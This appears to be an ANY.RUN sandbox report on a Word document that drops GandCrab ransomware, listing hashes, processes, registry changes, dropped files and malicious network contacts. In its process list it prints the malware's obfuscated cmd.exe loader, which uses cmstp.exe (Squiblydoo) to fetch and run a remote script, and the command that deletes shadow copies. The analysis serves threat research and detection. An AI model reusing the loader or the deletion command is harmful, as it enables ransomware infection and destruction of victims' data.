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File name:

소환하다.doc

Full analysis: https://app.any.run/tasks/fb9112b9-00b1-46e8-9e73-6f5af229462c
Verdict: Malicious activity
Threats:

GandCrab is probably one of the most famous Ransomware. A Ransomware is a malware that asks the victim to pay money in order to restore access to encrypted files. If the user does not cooperate the files are forever lost.

Malware Trends Tracker     >>>
Analysis date: March 22, 2019, 10:12:05
OS: Windows 7 Professional Service Pack 1 (build: 7601, 64 bit)
Tags:
macros
macros-on-open
trojan
squiblydoo
ransomware
gandcrab
Indicators:
MIME: application/msword
File info: Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Author: Admin, Template: Normal, Last Saved By: Admin, Revision Number: 3, Name of Creating Application: Microsoft Office Word, Total Editing Time: 02:00, Create Time/Date: Thu Jan 31 14:52:00 2019, Last Saved Time/Date: Thu Mar 21 19:19:00 2019, Number of Pages: 1, Number of Words: 4, Number of Characters: 23, Security: 0
MD5:

6D70903794AB3CA05DD1B1B4F917204F

SHA1:

DBE96D823FB6C1B855020EA6676F27E9C13A0148

SHA256:

D383CEE6586F23BC1DCDD4D1E8638D58E795C0833111BCBD94AE1FB883AAE988

SSDEEP:

3072:B6pgFP6P77AjBNJx4WDgDBiTBEIGMqFWrdn2TXz+rOieOnewQKJk2iwHagf:B6pO+AnJ2Wsi9EI4EdGKOseZ6z

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Application was dropped or rewritten from another process

      • 58131.exe (PID: 2436)

    • SQUIBLYDOO was detected

      • cmstp.exe (PID: 3052)

    • Writes file to Word startup folder

      • 58131.exe (PID: 2436)

    • Deletes shadow copies

      • cmd.exe (PID: 2680)

    • Renames files like Ransomware

      • 58131.exe (PID: 2436)

    • Dropped file may contain instructions of ransomware

      • 58131.exe (PID: 2436)

    • Changes settings of System certificates

      • 58131.exe (PID: 2436)

    • GANDCRAB detected

      • 58131.exe (PID: 2436)

  • SUSPICIOUS

    • Creates files in the user directory

      • cmstp.exe (PID: 3052)
      • cmd.exe (PID: 1668)
      • 58131.exe (PID: 2436)

    • Creates files in the program directory

      • 58131.exe (PID: 2436)

    • Executable content was dropped or overwritten

      • cmstp.exe (PID: 3052)

    • Reads Internet Cache Settings

      • cmstp.exe (PID: 3052)

    • Starts CMD.EXE for commands execution

      • 58131.exe (PID: 2436)

  • INFO

    • Creates files in the user directory

      • WINWORD.EXE (PID: 2892)

    • Reads the machine GUID from the registry

      • WINWORD.EXE (PID: 2892)

    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 2892)

    • Dropped object may contain TOR URL's

      • 58131.exe (PID: 2436)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.doc | Microsoft Word document (54.2)
.doc | Microsoft Word document (old ver.) (32.2)

EXIF

FlashPix

CompObjUserType: Microsoft Word 97-2003 Document
CompObjUserTypeLen: 32
HeadingPairs:
  • Title
  • 1
TitleOfParts: -
HyperlinksChanged: No
SharedDoc: No
LinksUpToDate: No
ScaleCrop: No
AppVersion: 16
CharCountWithSpaces: 26
Paragraphs: 1
Lines: 1
Company:
CodePage: Windows Latin 1 (Western European)
Security: None
Characters: 23
Words: 4
Pages: 1
ModifyDate: 2019:03:21 19:19:00
CreateDate: 2019:02:28 14:52:00
TotalEditTime: 2.0 minutes
Software: Microsoft Office Word
RevisionNumber: 3
LastModifiedBy: Admin
Template: Normal
Comments: -
Keywords: -
Author: Admin
Subject: -
Title: -
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
43
Monitored processes
6
Malicious processes
4
Suspicious processes
0

Behavior graph

Click at the process to see the details
start drop and start winword.exe no specs cmd.exe no specs #SQUIBLYDOO cmstp.exe #GANDCRAB 58131.exe cmd.exe no specs vssadmin.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
2892"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\Desktop\소환하다.doc"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Exit code:
0
Version:
14.0.5123.5000
1668cmd /V /C set "u05=s" && !u05!et "u39=\" && !u05!et "u42=e" && !u05!et "u43=i" && !u05!et "u49=A" && !u05!et "u1=N" && !u05!et "u5=d" && c!u49!ll !u05!et "u6=%!u49!PP!u5!!u49!T!u49!%" && c!u49!ll !u05!et "u63=%R!u49!!u1!!u5!OM%" && !u05!et "u62=!u6!!u39!M!u43!cro!u05!oft!u39!T!u42!mplat!u42!s!u39!!u63!.txt" && !u05!et "u8="^" && (For %i in ("[v!u42!r!u05!ion]" "!u05!ignatur!u42!=$Wi!u1!dow!u05! NTf7f81a39-5f63-5b42-9efd-1f13b5431005quot; "[D!u42!faultIn!u05!tall_Singl!u42!U!u05!er]" "UnR!u42!gi!u05!t!u42!rOCXs=u66" "[u66]" "%11%\%u0_1%%u0_2%%u0_3%,NI,%u_1%%u_2%%u_3%%u_4%%u_5%%u_6%%u_7%%u_8%%u_9%%u_10%%u_11%%u_12%%u_13%%u_14%" "[!u05!tring!u05!]" "u_1=ht" "u_2=tp" "u_3=:/" "u_4=/1" "u_5=34" "u_6=.2" "u_7=09" "u_8=.8" "u_9=8." "u_10=23" "u_11=/s" "u_12=ub" "u_13=.t" "u_14=xt" "u0_2=rO" "u0_1=sC" "u0_3=bJ" ) do @echo %~i)>"!u62!" && echo !u05!erv!u43!ceNam!u42!=!u8! !u8!>>!u62! && echo !u05!hortSvcN!u49!me=!u8! !u8!>>!u62! && c!u49!ll !u05!et "u25=%WI!u1!!u5!IR%" && !u05!t!u49!rt "" !u25!!u39!Sy!u05!t!u42!m32!u39!cm!u05!tp.!u42!x!u42! /s /ns "!u62!"C:\Windows\system32\cmd.exe—wmiprvse.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
3052C:\Windows\System32\cmstp.exe /s /ns "C:\Users\admin\AppData\Roaming\Microsoft\Templates\2565.txt"C:\Windows\System32\cmstp.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Connection Manager Profile Installer
Exit code:
0
Version:
7.02.7600.16385 (win7_rtm.090713-1255)
2436"C:\Users\admin\AppData\Roaming\Microsoft\58131.exe" C:\Users\admin\AppData\Roaming\Microsoft\58131.exe
cmstp.exe
User:
admin
Integrity Level:
MEDIUM
2680"C:\Windows\system32\cmd.exe" /c vssadmin delete shadows /all /quietC:\Windows\SysWOW64\cmd.exe—58131.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
2
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
592vssadmin delete shadows /all /quietC:\Windows\SysWOW64\vssadmin.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Command Line Interface for Microsoft® Volume Shadow Copy Service
Exit code:
2
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Total events
1 782
Read events
1 359
Write events
94
Delete events
7

Modification events

(PID) Process:(2892) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:writeName:jz&
Value:
6A7A26004C0B0000010000000000000000000000
(PID) Process:(2892) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1033
Value:
Off
(PID) Process:(2892) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1033
Value:
On
(PID) Process:(2892) WINWORD.EXEKey:HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000100000000F01FEC\Usage
Operation:writeName:WORDFiles
Value:
1316356138
(PID) Process:(2892) WINWORD.EXEKey:HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000100000000F01FEC\Usage
Operation:writeName:ProductFiles
Value:
1316356222
(PID) Process:(2892) WINWORD.EXEKey:HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000100000000F01FEC\Usage
Operation:writeName:ProductFiles
Value:
1316356223
(PID) Process:(2892) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word
Operation:writeName:MTTT
Value:
4C0B000044CC43C697E0D40100000000
(PID) Process:(2892) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:writeName:2c&
Value:
326326004C0B000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000
(PID) Process:(2892) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:delete valueName:2c&
Value:
326326004C0B000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000
(PID) Process:(2892) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:ProxyBypass
Value:
1
Executable files
1
Suspicious files
2 211
Text files
224
Unknown types
67

Dropped files

PID
Process
Filename
Type
2892WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVR4E6A.tmp.cvr —
MD5:—
SHA256:—
2892WINWORD.EXEC:\Users\admin\AppData\Local\Temp\~DFE989A7F73B9A6C44.TMP —
MD5:—
SHA256:—
243658131.exeC:\Users\admin\.oracle_jre_usage\90737d32e3abaa4.timestamp —
MD5:—
SHA256:—
2892WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\index.dattext
MD5:A2E4B18D3BF743F1F21BE1D3615EF0FE
SHA256:DA80AFC9458CD068588A033FF832A28D7D5548795557B3EDC291FA99DB25D6CF
1668cmd.exeC:\Users\admin\AppData\Roaming\Microsoft\Templates\2565.txtini
MD5:8D31B290C617BC92B96D345855D4AF60
SHA256:4B486FDC8C0CC7716E85C448F4795735FC3091331F1FB337E660BDFCA20453F4
2892WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\8460C7EF.wmfwmf
MD5:9B958D431B80584579043950B6329CC2
SHA256:0C014D127F39FDEEDFA2229D89442011E65B0B09A38F748231D64FCE5E29224E
3052cmstp.exeC:\Users\admin\AppData\Roaming\Microsoft\58131.exeexecutable
MD5:28F9A6802A8A1712F9FD0ACCE6697F4E
SHA256:711048D0C36EC880E9758F27859D4415F7A8883A7F8E8B9777C6EF28C18087D2
3052cmstp.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\K78MRVB5\sub[1].txtxml
MD5:35E0074B26434734B8C87DE20DAE3AD6
SHA256:640EE8EC46C660C9D1784AAC3EB73FEA64586416B6935251638E319CC5E72D87
2892WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{72069925-1B99-4914-8FFC-0C51023DE917}.tmpbinary
MD5:357507C271319E92E2E3469DB1A20D45
SHA256:22AC9317C43AA06BECF0493954FEA9A9EB7BAB0052F223BD2EB8B672E0617145
243658131.exeC:\$Recycle.Bin\S-1-5-21-3896776584-4254864009-862391680-1000\RUUMEOW-MANUAL.txttext
MD5:BA3307C3970D02E28A4179B7B269CF36
SHA256:1A82CD60EACF2C6AA6AAC559C3EC7857BCBD4C47B8FC3344E6CBF49690E82EFA
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
3
TCP/UDP connections
3
DNS requests
1
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
2436
58131.exe
POST
404
107.173.49.208:443
https://www.kakaocorp.link/static/pics/fukees.jpg
US
html
599 b
malicious
3052
cmstp.exe
GET
200
134.209.88.23:80
http://134.209.88.23/sub.txt
US
xml
259 Kb
malicious
2436
58131.exe
GET
301
107.173.49.208:80
http://www.kakaocorp.link/
US
html
162 b
malicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
2436
58131.exe
107.173.49.208:80
www.kakaocorp.link
ColoCrossing
US
malicious
2436
58131.exe
107.173.49.208:443
www.kakaocorp.link
ColoCrossing
US
malicious
3052
cmstp.exe
134.209.88.23:80
—
—
US
malicious

DNS requests

Domain
IP
Reputation
www.kakaocorp.link
  • 107.173.49.208
malicious

Threats

PID
Process
Class
Message
3052
cmstp.exe
A Network Trojan was detected
MALWARE [PTsecurity] Squiblydoo Scriptlet
2 ETPRO signatures available at the full report
No debug info
Interactive malware hunting service ANY.RUN
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Reports
소환하다.doc